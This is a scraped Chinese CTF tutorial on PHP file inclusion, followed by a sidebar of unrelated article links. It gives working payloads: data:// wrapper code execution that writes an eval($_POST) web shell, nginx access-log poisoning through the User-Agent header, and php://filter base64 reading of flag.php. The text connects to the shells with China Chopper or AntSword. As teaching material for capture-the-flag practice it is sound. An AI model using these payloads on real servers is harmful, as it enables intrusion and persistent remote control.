当前位置:网站首页>CTF入门之php文件包含
CTF入门之php文件包含
2022-08-02 03:25:00 【SevenCold】
一.php伪协议执行代码
由图可知,只需要通过get请求传送url变量即可触发include函数,一开始的思路是直接才flag的文件名,如flag.php等等,然后都失败了,然后想到了文件包含漏洞,利用php伪协议。
https://blog.csdn.net/yao_xin_de_yuan/article/details/108326427 php伪协议介绍
这里有两种方法:
1.url=data://text/plain,<?php print_r(glob("*")); ?> 通过通配符查找目录下的所有文件
找到两个文件,其中ctf_go_go_go文件中即为flag
2. 构造url=data:text/plain,<?php fputs(fopen("shell.php","w"),"<?php eval($_POST['h']);?>")?> 然后使用菜刀或蚁剑进行连接即可。


连接成功,打开相关文件即可。
二.日志注入
题目和上题一样,但用php伪协议是发现发生错误,所以应该是过滤了php,然后就可以进行日志注入。可以服务器问nginx,所以其日志目录为/var/log/nginx/access.log和/var/log/nginx/error.log
因此构造url=/var/log/nginx/access.log
发现日志会记录请求方法和user-agent 因为请求方法不能变,因此我们可以在user-agent处插入php代码,利用bp将user-agent字段改为<?php eval($_POST['h']);?> 发送后发现日志文件中的ua处为空,这是因为php代码会直接运行,而不会显示。然后我们用菜刀或蚁剑连接即可,但要注意url
进入后随便翻翻即可找到flag。
3.php伪协议读取文件

题目url如图,因为页面中并无明确提示,因此可以利用php伪协议读取文件内容看一下
构造url:?file=php://filter/read=convert.base64-encode/resource=flag.php

可以看到文件内容经过base64编码,我们解码一下即可得到flag
边栏推荐
猜你喜欢

IP门禁:手把手教你用PHP实现一个IP防火墙

PHP8.2的版本发布管理员和发布计划

SQL classification, DQL (Data Query Language), and corresponding SQL query statement demonstration
![[sebastian/diff]一个比较两段文本的历史变化扩展库](/img/c7/ea79db7a5003523ece7cf4f39e4987.png)
[sebastian/diff]一个比较两段文本的历史变化扩展库

12.什么是JS

Kali install IDEA

Stable and easy-to-use short connection generation platform, supporting API batch generation

js eventLoop 事件循环机制

PHP的几个有趣的打开方式:从基本到变态

(2) 顺序结构、对象的布尔值、选择结构、循环结构、列表、字典、元组、集合
随机推荐
Advanced Operations on Arrays
PHP基金会三月新闻公告发布
IP门禁:手把手教你用PHP实现一个IP防火墙
hackmyvm: controller walkthrough
二维码生成API接口,可以直接作为A标签连接
TCP communications program
IO流、 编码表、 字符流、 字符缓冲流
[vite] Failed to parse source for import analysis because the content contains invalid JS syntax.
(3)Thinkphp6数据库
easyswoole uses redis to perform geoRadiusByMember Count invalid fix
PHP8.2将会有哪些新东西?
14. JS Statements and Comments, Variables and Data Types
[symfony/mailer]一个优雅易用的发送邮件类库
每日五道面试题总结 22/7/21
解决5+APP真机测试无法访问后台(同局域网)
js 原型和原型链
SQL分类、DQL(数据查询语言)、以及相应SQL查询语句演示
Eric靶机渗透测试通关全教程
4.PHP数组与数组排序
(7) 浅学 “爬虫” 过程 (概念+练习)